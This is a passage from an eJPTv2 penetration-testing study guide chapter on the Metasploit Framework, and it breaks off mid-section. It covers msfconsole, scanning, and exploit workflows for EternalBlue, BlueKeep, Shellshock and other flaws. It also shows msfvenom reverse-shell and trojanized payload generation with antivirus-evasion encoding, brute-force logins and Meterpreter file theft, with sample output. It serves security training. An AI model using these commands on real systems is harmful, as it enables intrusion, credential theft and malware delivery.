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eJPTv2

Junior Penetration Tester Certification

STUDY GUIDE

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FROM LEARNERS TO LEADERS

Metasploit Framework

eJPTv2 Certification Study Guide

Part 10: Metasploit Framework

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February 18, 2026

Educational Security Guideline

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10 Metasploit Framework

The Metasploit Framework is a comprehensive penetration testing platform that has become the industry standard for exploit development and vulnerability validation. This chapter explores the framework's architecture, core functionality, and practical applications in professional security assessments. We will cover everything from basic console operations to advanced post-exploitation techniques, providing the knowledge necessary to effectively leverage Metasploit in real-world engagements.

10.1 Metasploit Introduction

10.1.1 Understanding the Metasploit Project

The Metasploit Project is a Ruby-based, modular penetration testing platform that enables security professionals to write, test, and execute exploit code. The framework provides access to a comprehensive database of exploits that have been developed, tested, and modularized for ease of use. At its core, Metasploit is a collection of tools that provide a complete environment for penetration testing and exploit development.

The framework includes capabilities for testing security vulnerabilities, enumerating networks, executing attacks, and evading detection. What distinguishes Metasploit from other tools is its modular architecture, which allows for easy integration of new exploits, payloads, and auxiliary modules as they are developed by the security community.

Metasploit Versions

The Metasploit Project is available in two primary versions:

- **Metasploit Framework** - Open source version, community-driven, and freely available. This version provides the core functionality and is regularly updated by both Rapid7 and the security community.
- **Metasploit Pro** - Commercial version with additional enterprise features, GUI interface, and advanced automation capabilities. Designed for professional penetration testing teams and security operations.

The modules within Metasploit are actual exploit proof-of-concepts that have been field-tested and integrated into the framework. This provides penetration testers with immediate access to different attack vectors across multiple platforms and services. Metasploit is not designed to be a universal solution for all security testing needs, but rather a well-equipped toolkit containing the most commonly needed exploits and post-exploitation tools.

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10.1.2 The Role of Automated Tools in Security Testing

The security industry has ongoing debates about the appropriate use of automated tools during security assessments. Some argue that automated tools prevent security professionals from demonstrating their technical capabilities and make assessments too simplistic. Others contend that tools provide valuable learning opportunities and save time that can be better spent on complex analysis tasks.

Potential Drawbacks of Tool Dependence

Automated tools can present several challenges:

- **Comfort Zone Development** - Over-reliance on tools can prevent the development of fundamental skills and manual testing capabilities.
- **Security Risks** - Publicly available tools can be leveraged by malicious actors with minimal technical knowledge.
- **Tunnel Vision Effect** - Users may become limited to what their tools can accomplish, missing alternative attack vectors or creative solutions.

As tools become more accessible to the public, including releases from government agencies, they create opportunities for both legitimate security testing and malicious exploitation. This dual-use nature requires responsible handling and thorough understanding of tool capabilities and limitations.

10.1.3 Professional Discipline and Tool Usage

The information security industry is characterized by rapid technological evolution, with new protocols, systems, and technologies emerging constantly. This creates an environment where time management and efficiency are critical to successful assessments.

Key Professional Considerations

- **Time Constraints** - Comprehensive security assessments are rarely possible within typical engagement timeframes. Prioritization is essential, focusing on high-impact vulnerabilities and critical systems first.
- **Client Expectations** - Credibility is based on deliverable results rather than methodology. Clients are primarily concerned with identified vulnerabilities and remediation guidance, not the specific tools or techniques used.
- **Professional Growth** - Security professionals should focus on self-improvement and technical competency rather than seeking validation from the broader security community. The goal is vulnerability identification and risk assessment, not ego validation.

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Best Practices for Tool Usage

Effective use of automated tools requires discipline and understanding:

1. **Avoid Tunnel Vision** - Tools should enhance capabilities, not replace critical thinking or manual analysis. Always consider alternative approaches beyond tool capabilities.
2. **Comprehensive Documentation Review** - Thoroughly understand tool functionality, including potential side effects, detection signatures, and unexpected behaviors. This prevents operational issues and reduces risk during engagements.
3. **Methodology Development** - Establish solid assessment methodologies that incorporate tool usage appropriately. Tools should save time for deeper analysis, not replace fundamental security research and understanding.

The accelerated pace of technology deployment requires security professionals to develop deeper understanding of security mechanisms while using tools efficiently. This balance between automation and manual expertise is what distinguishes professional penetration testers from script users.

10.1.4 Metasploit Framework Architecture

The Metasploit Framework is built on a modular architecture that separates different functional components:

- **Exploits** - Code that takes advantage of specific vulnerabilities in target systems
- **Payloads** - Code executed on target systems after successful exploitation
- **Auxiliary Modules** - Supporting modules for scanning, fuzzing, and other non-exploit tasks
- **Encoders** - Tools for evading detection through payload obfuscation
- **Post-Exploitation Modules** - Tools for activities after initial compromise
- **Evasion Modules** - Specialized modules for avoiding detection systems

This modular design allows exploits to work with multiple payloads, and payloads to work with multiple exploits, creating a flexible and extensible framework.

10.1.5 Metasploit Pro Features

Metasploit Pro extends the framework with enterprise-oriented features:

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Core Professional Features

- **Task Chains** - Automated multi-step attack sequences
- **Social Engineering** - Integrated phishing and social engineering campaigns
- **Vulnerability Validation** - Automated verification of identified vulnerabilities
- **Graphical Interface** - Web-based GUI for easier management
- **Quick Start Wizards** - Guided workflows for common testing scenarios
- **Nexpose Integration** - Direct integration with vulnerability scanning

Comprehensive Feature Matrix

Infiltrate	Collect Data	Remediate
Manual Exploitation	Import and Scan Data	Bruteforce
Anti-virus Evasion	Discovery Scans	Task Chains
IPS/IDS Evasion	Meta-Modules	Exploitation Workflow
Proxy Pivot	Nexpose Integration	Session Rerun
Post-Exploitation		Task Replay
Session Clean-up		Project Sonar Integration
Credentials Reuse		Session Management
Social Engineering		Credential Management
Payload Generator		Team Collaboration
Quick Pen-testing		Web Interface
VPN Pivoting		Backup and Restore
Vulnerability Validation		Data Export
Phishing Wizard		Evidence Collection
Web App Testing		Reporting
Persistent Sessions		Tagging Data

10.2 msfconsole Basics

10.2.1 The Metasploit Console Interface

The msfconsole is the primary interface for the Metasploit Framework, providing centralized access to virtually all framework features. While Metasploit offers other interfaces, msfconsole is the most feature-rich and stable option for professional use.

Key Console Features

- **Comprehensive Access** - Only interface providing access to all framework features
- **Console-Based Operation** - Command-line interface for efficient navigation and scripting
- **Tab Completion** - Full readline support with context-aware tab completion

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- **External Command Execution** - Ability to execute system commands without leaving the console
- **Database Integration** - Built-in PostgreSQL integration for data management

The console interface may appear complex initially, but its command structure becomes intuitive with practice. The key to effective usage is understanding the command syntax and leveraging tab completion for navigation.

10.2.2 Starting the Metasploit Framework

Before launching msfconsole, ensure the PostgreSQL database service is running. Metasploit uses PostgreSQL to store host information, service enumeration data, credentials, and other reconnaissance results.

```
# Start PostgreSQL service
sudo systemctl start postgresql

# Enable PostgreSQL to start automatically
sudo systemctl enable postgresql

# Initialize Metasploit database
sudo msfdb init

# Verify database status
sudo msfdb status
```

Terminal Output - Database Initialization

```
$ sudo msfdb init
[+] Creating database user 'msf'
[+] Creating databases 'msf' and 'msf_test'
[+] Creating configuration file in /usr/share/metasploit-framework/config/
    database.yml
[+] Creating initial database schema

$ sudo msfdb status
    postgresql.service - PostgreSQL RDBMS
   Active: active (running)

Database Configuration:
  database: msf
  username: msf
  host: localhost
  port: 5432
```

Launching msfconsole

```
# Standard launch with banner
msfconsole
```

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```

# Quiet launch without banner
msfconsole -q

# Load resource script on startup
msfconsole -r /path/to/script.rc
```

Terminal Output - msfconsole Startup

```
$ msfconsole

       =[ metasploit v6.3.50-dev                          ]
+ -- --=[ 2393 exploits - 1235 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Use the analyze command to suggest
runnable modules for hosts

msf6 >
```

10.2.3 Essential msfconsole Commands

Help and Information

```
# Display main help menu
help

# Get help for specific command
help search
help use
help set

# Show Metasploit version
version

# Check database connection status
db_status
```

Module Navigation

```
# Search for modules
search <keyword>
search type:exploit platform:windows
search cve:2017 type:exploit

# Select a module for use
use <module_path>
use exploit/windows/smb/ms17_010_eternalblue

# Display module information
```

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```
info

# Show module options
show options
show advanced
show evasion

# Show compatible payloads
show payloads

# Show available targets
show targets

# Return to main console
back
```

Configuration and Execution

```
# Set option value
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
set LPORT 4444

# Set global option (persists across modules)
setg LHOST 192.168.1.10

# Unset option
unset RHOSTS

# Clear global option
unsetg LHOST

# Check if target is vulnerable (when supported)
check

# Execute the module
run
exploit

# Execute as background job
exploit -j
run -j
```

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Basic Module Usage Workflow

```
msf6 > search eternalblue

Matching Modules
================

   #  Name                                      Rank      Check
   -  ----                                      ----      -----
   0  exploit/windows/smb/ms17_010_eternalblue  average   Yes

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/
    reverse_tcp

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       Target host(s)
   RPORT          445              yes       Target port
   SMBDomain                       no        Windows domain
   SMBPass                         no        Password
   SMBUser                         no        Username
   VERIFY_ARCH    true             yes       Check architecture
   VERIFY_TARGET  true             yes       Check target OS

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100

msf6 exploit(windows/smb/ms17_010_eternalblue) > check
[+] 192.168.1.100:445 - The target is vulnerable.

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
```

10.2.4 Workspace Management

Workspaces allow organization of different penetration testing engagements, keeping host data, credentials, and other information separated by project.

```
# List all workspaces (* indicates current)
workspace

# Create new workspace
workspace -a client_assessment

# Switch to workspace
workspace client_assessment

# Delete workspace
workspace -d old_project
```

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```

# Rename workspace
workspace -r old_name new_name

# List workspaces verbosely
workspace -v
```

Terminal Output - Workspace Operations

```
msf6 > workspace
* default

msf6 > workspace -a pentest_2026
[*] Added workspace: pentest_2026
[*] Workspace: pentest_2026

msf6 > workspace
  default
* pentest_2026

msf6 > workspace -v
Workspaces
==========

current  name
-------  ----
         default
*        pentest_2026
```

10.3 Searching and Information Gathering

10.3.1 Advanced Search Capabilities

The search command in Metasploit supports sophisticated filtering to efficiently locate relevant modules from the extensive module database.

Search Filters and Syntax

```
# Basic keyword search
search wordpress
search apache

# Filter by module type
search type:exploit
search type:auxiliary
search type:post
search type:payload

# Filter by platform
search platform:windows
search platform:linux
```

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```
search platform:osx

# Filter by CVE identifier
search cve:2021
search cve:2017-0144

# Filter by reliability rank
search rank:excellent
search rank:great

# Combine multiple filters
search type:exploit platform:windows smb
search cve:2017 platform:windows rank:excellent
search type:auxiliary port:445
```

Understanding Module Rankings

Metasploit ranks exploits based on reliability and safety:

- **Excellent** - Exploit will never crash the target service
- **Great** - Exploit has default target and automatic targeting
- **Good** - Common module with consistent reliability
- **Normal** - Standard exploit without special characteristics
- **Average** - May cause service instability
- **Low** - Nearly certain to crash the target
- **Manual** - Requires manual configuration and targeting

Practical Search Examples

```
# Find Windows SMB exploits
msf6 > search type:exploit platform:windows smb

# Find recent CVEs from 2021
msf6 > search cve:2021 type:exploit

# Find excellent rank Windows exploits
msf6 > search platform:windows rank:excellent type:exploit

# Find auxiliary modules for port 445
msf6 > search type:auxiliary port:445

# Find Linux post-exploitation modules
msf6 > search type:post platform:linux
```

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10.3.2 Module Information Retrieval

The info command provides detailed information about modules, including description, options, targets, and references.

```
# Show information for current module
info

# Show information for specific module without loading it
info exploit/windows/smb/ms17_010_eternalblue

# Show module file location
info -d exploit/windows/smb/ms17_010_eternalblue
```

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Terminal Output - Module Information Display

```
msf6 > info exploit/windows/smb/ms17_010_eternalblue

       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
     Module: exploit/windows/smb/ms17_010_eternalblue
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Sean Dillon <sean.dillon@risksense.com>
  Dylan Davis <dylan.davis@risksense.com>

Available targets:
  Id  Name
  --  ----
  0   Windows 7 and Server 2008 R2 (x64) All Service Packs

Check supported:
  Yes

Basic options:
  Name           Required  Description
  ----           --------  -----------
  RHOSTS         yes       Target host(s)
  RPORT          yes       Target port (TCP)
  SMBDomain      no        Windows domain
  SMBPass        no        Password for authentication
  SMBUser        no        Username for authentication
  VERIFY_ARCH    yes       Check target architecture
  VERIFY_TARGET  yes       Check target version

Description:
  This module exploits SMB vulnerability MS17-010 to execute arbitrary
  code on vulnerable Windows systems.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-0144
  https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/
    ms17-010
```

10.3.3 Database-Driven Reconnaissance

Metasploit's PostgreSQL database stores reconnaissance data for efficient reuse and analysis.

Importing Scan Data

```
# Import Nmap XML results
db_import /root/nmap_scan.xml
```

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```

# Import Nessus scan results
db_import /root/nessus_scan.nessus

# Perform Nmap scan directly from msfconsole
db_nmap -sV -sC 192.168.1.0/24

# Perform aggressive Nmap scan
db_nmap -A -p- 192.168.1.100
```

Querying Database Information

```
# List discovered hosts
hosts

# List hosts with specific OS
hosts -o Windows
hosts -o Linux

# List services discovered
services

# List services on specific port
services -p 445
services -p 80,443

# List specific service type
services -s http
services -s ssh

# Search services
services -S microsoft

# List credentials
creds

# List vulnerabilities
vulns

# List collected loot
loot

# List notes
notes
```

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Database Workflow Example

```
# Scan network and populate database
msf6 > db_nmap -sV 192.168.1.0/24

# View discovered hosts
msf6 > hosts

Hosts
=====

address         os_name         purpose
-------         -------         -------
192.168.1.100   Windows 7       server
192.168.1.101   Windows 10      client

# View services on port 445
msf6 > services -p 445

Services
========

host            port  proto  name          state  info
----            ----  -----  ----          -----  ----
192.168.1.100   445   tcp    microsoft-ds  open   Windows 7 Professional
192.168.1.101   445   tcp    microsoft-ds  open   Windows 10 Enterprise

# Use services to auto-populate RHOSTS
msf6 > services -p 445 -R
RHOSTS => 192.168.1.100 192.168.1.101

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > run
```

10.4 Auxiliary Modules

10.4.1 Understanding Auxiliary Modules

Auxiliary modules perform tasks that do not directly exploit vulnerabilities but support the penetration testing process. These modules include scanners, fuzzers, denial of service tests, and administrative functions.

Auxiliary Module Categories

- **Scanners** - Port scanning, service enumeration, vulnerability detection
- **Admin** - Administrative functions like database queries and system management
- **Fuzzers** - Protocol and application fuzzing tools
- **Server** - Run various server services for testing purposes

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- **Client** - Test client applications and behaviors
- **DoS** - Denial of service testing modules
- **Gather** - Information gathering and reconnaissance

10.4.2 Network Scanning

```
# TCP port scanner
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 1-1000
run

# SYN port scanner (requires root)
use auxiliary/scanner/portscan/syn
set RHOSTS 192.168.1.100
set PORTS 1-65535
run

# Service version detection
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.100
run
```

10.4.3 SMB Enumeration and Exploitation

```
# SMB version detection
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

# Enumerate SMB shares
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.168.1.100
run

# Enumerate SMB users
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.1.100
run

# Check for MS17-010 (EternalBlue) vulnerability
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

# SMB login brute force
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.100
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
```

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Terminal Output - SMB Vulnerability Scan

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.1.100:445     - Host is likely VULNERABLE to MS17-010!
[*] 192.168.1.101:445     - Host does NOT appear vulnerable.
[*] 192.168.1.102:445     - Host does NOT appear vulnerable.
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
```

10.4.4 HTTP Service Enumeration

```
# HTTP version and header detection
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run

# Directory brute force
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
set DICTIONARY /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
run

# HTTP login brute force
use auxiliary/scanner/http/http_login
set RHOSTS 192.168.1.100
set AUTH_URI /admin
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

# WordPress scanner
use auxiliary/scanner/http/wordpress_scanner
set RHOSTS 192.168.1.100
run
```

10.4.5 Database Service Enumeration

```
# MySQL login scanner
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

# MySQL version scanner
use auxiliary/scanner/mysql/mysql_version
set RHOSTS 192.168.1.0/24
run

# PostgreSQL login scanner
use auxiliary/scanner/postgres/postgres_login
```

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```
set RHOSTS 192.168.1.100
set USERNAME postgres
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

# MSSQL login scanner
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/metasploit/common_users.txt
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
```

10.4.6 SSH and Remote Access Services

```
# SSH version scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# SSH login brute force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run

# RDP scanner
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS 192.168.1.0/24
run

# VNC authentication scanner
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.0/24
run
```

Brute Force Considerations

When performing authentication brute force attacks:

- Always verify authorization before testing
- Be aware of account lockout policies
- Consider rate limiting to avoid detection
- Use targeted wordlists appropriate for the environment
- Monitor for service disruption or DoS conditions
- Document all attempted credentials

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10.5 Exploitation Framework

10.5.1 Understanding Exploit Modules

Exploit modules contain code that takes advantage of specific software vulnerabilities. Metasploit organizes exploits by platform and service type, with each module designed to deliver a payload after successful exploitation.

Exploit Module Components

- **Metadata** - Module name, description, author, disclosure date, references
- **Options** - Required and optional configuration parameters
- **Targets** - Specific vulnerable versions or configurations
- **Payload Space** - Available memory for payload delivery
- **Check Method** - Optional vulnerability verification without exploitation

10.5.2 Exploit Selection and Configuration

```
# Search for Windows exploits
search type:exploit platform:windows

# Select an exploit module
use exploit/windows/smb/ms17_010_eternalblue

# Display module information
info

# Show available targets
show targets

# Set specific target
set TARGET 0

# Show compatible payloads
show payloads

# Check if target is vulnerable (non-destructive)
check

# View current options
show options
```

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Using the Check Command

Many modern exploit modules support the `check` command, which attempts to verify vulnerability without exploitation. Benefits include:

- Non-destructive testing of vulnerability presence
- Reduced risk of system crashes or detection
- Efficient targeting of vulnerable systems
- Documentation support for vulnerability findings

However, check methods are not available for all exploits and may still trigger detection systems.

10.5.3 Common Windows Exploits

MS17-010 EternalBlue

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
set payload windows/x64/meterpreter/reverse_tcp
check
exploit
```

MS08-067 NetAPI

```
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
set payload windows/meterpreter/reverse_tcp
set TARGET 0
exploit
```

BlueKeep RDP

```
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.1.100
set LHOST 192.168.1.10
set TARGET 2
exploit
```

10.5.4 Common Linux Exploits

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Shellshock Bash

```
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.1.100
set TARGETURI /cgi-bin/test.sh
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
```

Local Privilege Escalation

```
# After obtaining initial shell, background it
background

# Use local exploit
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set SESSION 1
set LHOST 192.168.1.10
exploit
```

10.5.5 Web Application Exploits

```
# Apache Struts exploitation
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.1.100
set TARGETURI /struts2-showcase
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

# Drupal Drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.1.100
set TARGETURI /
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
```

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Complete Exploitation Workflow

```
# Step 1: Verify vulnerability
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!

# Step 2: Select exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Step 3: Configure options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.10

# Step 4: Verify configuration
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Step 5: Check target
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
[+] 192.168.1.100:445 - The target is vulnerable.

# Step 6: Execute exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.10:4444
[*] 192.168.1.100:445 - Connecting to target
[+] 192.168.1.100:445 - Connection established
[*] 192.168.1.100:445 - Sending exploit shellcode
[*] Sending stage (200262 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

10.6 Payloads

10.6.1 Understanding Payloads

Payloads are the code executed on target systems after successful exploitation. Metasploit provides various payload types optimized for different scenarios, platforms, and operational requirements.

Payload Architecture

- **Singles** - Self-contained payloads including all necessary code
- **Stagers** - Small initial payloads that establish connections for downloading larger stages
- **Stages** - Full-featured payloads downloaded by stagers (Meterpreter, shell, VNC)

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10.6.2 Payload Naming Convention

Metasploit uses a structured naming scheme for payloads:

```
<platform>/<architecture>/<payload>/<connection_type>

Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_https
python/meterpreter/reverse_tcp
```

Payload Components Explained

- **Platform** - Target operating system (windows, linux, osx, android, php, python, java)
- **Architecture** - CPU architecture (x86, x64, armle, mipsle)
- **Payload Type** - Shell type (meterpreter, shell, vncinject, exec)
- **Connection Method** - Communication channel (reverse_tcp, bind_tcp, reverse_https, reverse_http)

10.6.3 Staged vs Stageless Payloads

Staged Payloads

Staged payloads use a two-stage delivery process:

```
# Staged payload (forward slash separator)
windows/x64/meterpreter/reverse_tcp

# Characteristics:
# - Smaller initial size (~300-500 bytes)
# - Requires stable connection for stage delivery
# - Better for space-restricted exploits
# - Two separate network transactions
```

Stageless Payloads

Stageless payloads are self-contained:

```
# Stageless payload (underscore separator)
windows/x64/meterpreter_reverse_tcp

# Characteristics:
# - Larger size (~200KB+)
# - Single network transaction
# - More reliable in unstable networks
# - Faster execution
# - Better for some evasion scenarios
```

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Choosing Staged vs Stageless

Use staged payloads when:

- Exploit has size constraints
- Network connection is reliable
- Multiple sessions needed from same exploit

Use stageless payloads when:

- Network stability is questionable
- Faster execution is critical
- Evading network monitoring
- Working with certain exploit types

10.6.4 Connection Types

Reverse Connections

```
# Reverse TCP - target connects back to attacker
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444

# Reverse HTTPS - encrypted reverse connection
set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.10
set LPORT 443

# Reverse HTTP - HTTP-based reverse connection
set payload windows/x64/meterpreter/reverse_http
set LHOST 192.168.1.10
set LPORT 80
```

Reverse connections are preferred because they:

- Bypass inbound firewall restrictions
- Work in NAT environments
- Are less likely to be blocked
- Appear as outbound connections from target

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Bind Connections

```
# Bind TCP - attacker connects to target
set payload windows/x64/meterpreter/bind_tcp
set RPORT 4444

# Bind shell
set payload windows/shell/bind_tcp
set RPORT 4444
```

Bind connections are useful when:

- Attacker cannot receive inbound connections
- Target has public IP address
- Testing specific firewall rules
- Working in specific network topologies

10.6.5 Payload Generation with msfvenom

msfvenom is the Metasploit payload generator, replacing the deprecated msfpayload and msfencode tools.

Basic Payload Generation

```
# Generate Windows executable
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe

# Generate Linux ELF binary
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf

# Generate PHP web shell
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.php

# Generate Python payload
msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 -f raw -o shell.py

# Generate Java WAR file
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 -f war -o shell.war

# Generate ASP payload
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 -f asp -o shell.asp
```

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Output Formats

```
# List all available output formats
msfvenom --list formats

# Common formats:
-f exe           # Windows executable
-f dll           # Windows DLL
-f elf           # Linux executable
-f msi           # Windows installer
-f war           # Java web archive
-f jsp           # Java Server Page
-f aspx          # ASP.NET
-f php           # PHP script
-f python        # Python script
-f raw           # Raw shellcode
-f c             # C array
-f powershell    # PowerShell script
-f exe-service   # Windows service executable
```

Encoding and Evasion

```
# List available encoders
msfvenom --list encoders

# Encode with x86/shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 \
  -e x86/shikata_ga_nai -f exe -o encoded.exe

# Multiple encoding iterations
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 -f exe -o encoded.exe

# Specify bad characters to avoid
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 \
  -b '\x00\x0a\x0d' -f exe -o shell.exe

# Use template for evasion
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.10 LPORT=4444 \
  -x /path/to/template.exe -k -f exe -o trojan.exe
```

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Terminal Output - Payload Generation Example

```
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT
    =4444 -f exe -o payload.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from
    the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: payload.exe
```

10.6.6 Setting Up Payload Handlers

After generating a payload, configure a handler to receive the connection:

```
# Start msfconsole
msfconsole

# Use multi/handler
use exploit/multi/handler

# Set payload (must match generated payload)
set payload windows/x64/meterpreter/reverse_tcp

# Configure listener
set LHOST 192.168.1.10
set LPORT 4444

# Run handler in background
exploit -j

# Run handler in foreground
exploit
```

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Complete Payload Workflow

```
# Step 1: Generate payload
$ msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=192.168.1.10 LPORT=443 -f exe -o backdoor.exe
Payload size: 645 bytes
Final size of exe file: 7168 bytes
Saved as: backdoor.exe

# Step 2: Transfer payload to target (web server, phishing, etc.)
$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080

# Step 3: Set up handler in Metasploit
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/
    reverse_https
msf6 exploit(multi/handler) > set LHOST 192.168.1.10
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > exploit -j

[*] Exploit running as background job 0
[*] Started HTTPS reverse handler on https://192.168.1.10:443

# Step 4: Wait for target to execute payload
[*] https://192.168.1.10:443 handling request from 192.168.1.100
[*] Sending stage (200262 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
```

10.7 Meterpreter Shell

10.7.1 Introduction to Meterpreter

Meterpreter (Meta-Interpreter) is an advanced payload that provides extensive post-exploitation capabilities. Unlike traditional shells, Meterpreter operates entirely in memory, communicates over encrypted channels, and can be extended dynamically with additional modules.

Key Meterpreter Features

- **In-Memory Execution** - No files written to disk, minimal forensic footprint
- **Encrypted Communications** - All traffic encrypted by default
- **Extensible Architecture** - Load additional features on-demand
- **Channel Multiplexing** - Multiple simultaneous operations over single connection

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- **Platform Independence** - Implementations for Windows, Linux, macOS, Android, PHP, Python, Java

10.7.2 Core Meterpreter Commands

System Information and Identification

```
# Get system information
sysinfo

# Get current user identity
getuid

# Get current process ID
getpid

# Check privilege level
getprivs

# Display environment variables
getenv

# Check if running in virtual machine
run post/windows/gather/checkvm
```

Terminal Output - System Information

```
meterpreter > sysinfo
Computer        : DESKTOP-ABC123
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

meterpreter > getuid
Server username: DESKTOP-ABC123\user

meterpreter > getprivs
Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
```

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Process Management

```
# List running processes
ps

# Migrate to another process
migrate <PID>

# Migrate to specific process by name
migrate -N explorer.exe

# Kill a process
kill <PID>

# Execute program on target
execute -f notepad.exe

# Execute with arguments
execute -f cmd.exe -a "/c dir C:\\"

# Execute and interact
execute -f cmd.exe -i -H
```

Process Migration Best Practices

Process migration is critical for session stability and operational security:

- Migrate immediately after exploitation to stable process
- Choose processes that match your payload architecture (x86 vs x64)
- Prefer system processes that won't be terminated (explorer.exe, svchost.exe)
- Avoid migrating to antivirus or security processes
- Test migration in lab environments first
- Always have backup session before migrating

File System Operations

```
# Show current directory
pwd
getwd

# Change directory
cd C:\\Users\\Public

# List directory contents
ls
dir

# Search for files
search -f passwords.txt
```

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```
search -d C:\\Users -f *.pdf

# Download file from target
download C:\\Users\\user\\Desktop\\document.pdf

# Upload file to target
upload /root/payload.exe C:\\Windows\\Temp\\

# Read file contents
cat config.txt

# Delete file
rm file.txt

# Create directory
mkdir temp

# Remove directory
